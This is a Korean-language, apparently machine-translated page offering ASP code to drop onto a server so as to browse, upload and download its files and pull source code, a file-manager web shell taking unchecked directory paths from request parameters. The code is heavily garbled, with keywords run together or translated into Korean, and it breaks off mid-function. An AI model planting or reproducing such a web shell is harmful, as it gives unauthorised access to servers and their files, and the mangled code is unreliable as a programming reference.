서버에 배치하여 서버에서 파일을 탐색, 업로드 및 다운로드하고 파일 소스 코드를 다운로드 할 수 있습니다.
다음 코드를 하나의 파일에 넣으면 파일의 접미사가 ASP 여야합니다.
<%
thedir = request ( "thedir")
ifTheDir = ""그럼
folderini = server.mappath ( ".") & "/"
또 다른
folderini = server.mappath (thedir) & "/"
endif
foldInfo = trim (request.querystring ( "foldinfo"))
iffoldinfo = ""그러면
FoldInfo = Folderini
endif
ClassesClsup
DIMFORT, 파일
Dimallowext_
Dimnoallowext_
PrivateLoupFilestream
privateiserr_
PrivateErrmessage_
privateisgetData_
공공 사전 공급자
버전 = "v1.0.0"
엔드 프로페티
Publicpropertygetiserr
iserr = iserr_
엔드 프로페티
PublicpropertygeterRmessage
errmessage = errmessage_
엔드 프로페티
Publicpropertygetallowext
allowext = allowext_
엔드 프로페티
PublicPropertyletallowext (값)
allowext_ = lcase (값)
엔드 프로페티
PublicpropertygetNoallowext
noallowext = noallowext_
엔드 프로페티
PublicPropertyletnoallowext (값)
noallowext_ = lcase (값)
엔드 프로페티
privatesubclass_initialize
iserr_ = 0
noallowext = ""
noallowext = lcase (noallowext)
allowext = ""
allowext = lcase (allowext)
isgetData_ = false
Endsub
privatesubclass_terminate
ONEERRORRESUMENEXT
형태. removeall
setform = 아무것도 없습니다
file.removeall
setfile = 아무것도 없습니다
OUPFILESTREAM.CLOSE
setoupfilestream = 아무것도
Endsub
publicsubgetData (maxsize)
ONEERRORRESUMENEXT
ifisgetData_ = falsethen
dimgetupdata1, sspace, bcrlf, sinfo, iinfostart, iinfoend, tstream, istart, ofileinfo
DimsformValue, sfilename
Dimifindstart, Ifindend
DimiformStart, iformend, Sformname
ifrequest.totalBytes <1then
iserr_ = 1
errmessage_ = ""
출구
endif
ifmaxsize> 0then
ifrequest.totalBytes> MaxSizethen
iserr_ = 2
errmessage_ = ""
출구
endif
endif
setform = server.createObject ( "scripting.dictionary")
form.comparemode = 1
setfile = server.createobject ( "scripting.dictionary")
file.comparemode = 1
settstream = server.createobject ( "adodb.stream")
setoupfilestream = server.createObject ( "adodb.stream")
oupfilestream.type = 1
OUPFILESTREAM.MODE = 3
OUPFILESTREAM. OPEN
OUPFILESTREAM.WRITEREQUEST.BARUNERRED (request.totalBytes)
oupfilestream.position = 0
getupdata1 = oupfilestream.read
iformend = oupfilestream.size
bcrlf = chrb (13) & chrb (10)
